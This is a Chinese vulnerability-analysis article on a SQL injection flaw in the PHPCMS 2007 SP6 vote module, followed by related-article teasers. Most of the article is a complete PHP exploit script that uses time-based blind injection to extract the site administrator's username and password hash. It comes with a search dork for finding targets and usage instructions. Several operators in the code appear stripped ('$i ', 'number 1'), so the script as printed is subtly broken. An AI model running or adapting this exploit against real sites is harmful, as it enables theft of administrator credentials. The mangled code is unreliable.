PHPCMS2007 SP6 vote模块SQL注射漏洞的分析

所属分类: 网络安全 / 漏洞分析 阅读数: 123
收藏 0 赞 0 分享

漏洞代码:

vote/vote.php

// 22行
$optionids = is_array($op) ? implode(',',$op) : $op;
...
$db->query("UPDATE ".TABLE_VOTE_OPTION." SET number = number 1 WHERE optionid IN ($optionids) ");

漏洞很明显,没什么好说的,其他地方也有类似的问题,有兴趣的同学可以跟下,下面给个poc性质的exp[由于是盲注,效果不是很好]:p
代码:

#!/usr/bin/php
<?php

print_r('
---------------------------------------------------------------------------
Phpcms 2007 SP6 Bind SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by Phpcms 2007"
---------------------------------------------------------------------------
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
---------------------------------------------------------------------------
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$benchmark = 100000000;
$timeout = 10;

$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/ryat#';
$resp = send();
preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);

if ($pre) {
echo "Plz Waiting...\n";
/**
* get admin password
*/
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 102)); //a-f letters

while (strlen($pass) < 32) {
for ($i = 0; $i <= 255; $i ) {
if (in_array($i, $hash)) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/password/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}
echo "\t";
/**
* get admin username
*/
$j = 1;
$user = '';

while (strstr($user, chr(0)) === false) {
for ($i = 0; i <= 255; $i ) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/username/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$user .= chr($i);
echo chr($i);
break;
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}

exit("Expoilt Success!\nadmin:\t$user\nPassword(md5):\t$pass\n");
} else
exit("Exploit Failed!\n");

function send()
{
global $host, $path, $cmd;

$message = "POST ".$path."vote/vote.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "CLIENT-IP: ".time()."\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

更多精彩内容其他人还在看

遨游已经修复的三个安全漏洞分析

在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下: 漏洞来源:http://www.80sec.com/relea
收藏 0 赞 0 分享

Z-blog跨站脚本攻击漏洞

漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持 Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在http://www.rainbowsoft.org/。Z- blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带
收藏 0 赞 0 分享

世界之窗等浏览器本地xss跨域漏洞POC

漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html   文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.
收藏 0 赞 0 分享

FoosunCMS Sql Injection Vulnerability

--== =================== www.nspcn.org ================= ==-- --== FoosunCMS (API_Response.asp) Remote SQL Injection Exploit ==-- --==
收藏 0 赞 0 分享

关于XSS漏洞另一个攻击趋势

XSS漏洞一般是基于WEB程序的输入输出问题,但最近80SEC开始发现了一系列以IE为内核的第三方浏览器的漏洞,在评估其中的XSS漏洞,我们发现了基于浏览器软件自身设计造成的XSS漏洞所暴发的威力有多么大! 通过类似的漏洞我测试了一个功能十足的浏览器木马,这个“
收藏 0 赞 0 分享

PHPCMS2.4中一个有趣的洞洞

今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看 打开一看发现是phpcms2.4,很旧的版本了~~ 搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧 挖了1个多小时,发现vote.php中有这样一段代码
收藏 0 赞 0 分享

Apple Safari KHTML WebKit远程拒绝执行服务漏洞

受影响系统: Apple Safari 2.0 不受影响系统: Apple Safari 3 描述: Safari是苹果家族操作系统默认所捆绑的WEB浏览器。 Safari处理畸形格式的HTML文档时存在漏洞,远程攻击者可能利用此漏洞导致
收藏 0 赞 0 分享

IBM Tivoli Storage Manager Express 堆溢出漏洞

受影响系统: IBM Tivoli Storage Manager Express 5.3 不受影响系统: IBM Tivoli Storage Manager Express 5.3.7.3 描述: Tivoli Storage Manage
收藏 0 赞 0 分享

MS08-001 - Windows TCP/IP中的漏洞可能允许远程执行代码(941644)

受影响软件: Microsoft Windows 2000 Service Pack 4 Windows XP Service Pack 2 Windows XP Professional x64 Edition和Windows XP Professional
收藏 0 赞 0 分享

Microsoft Visual Interdev 文件缓冲区溢出漏洞

受影响系统: Microsoft Visual InterDev 6.0 (SP6) 描述: Visual InterDev是微软为程序员设计的网页开发工具。 Visual InterDev在处理畸形格式的SLN文件时存在漏洞,远程攻击者可能利用此漏洞
收藏 0 赞 0 分享
查看更多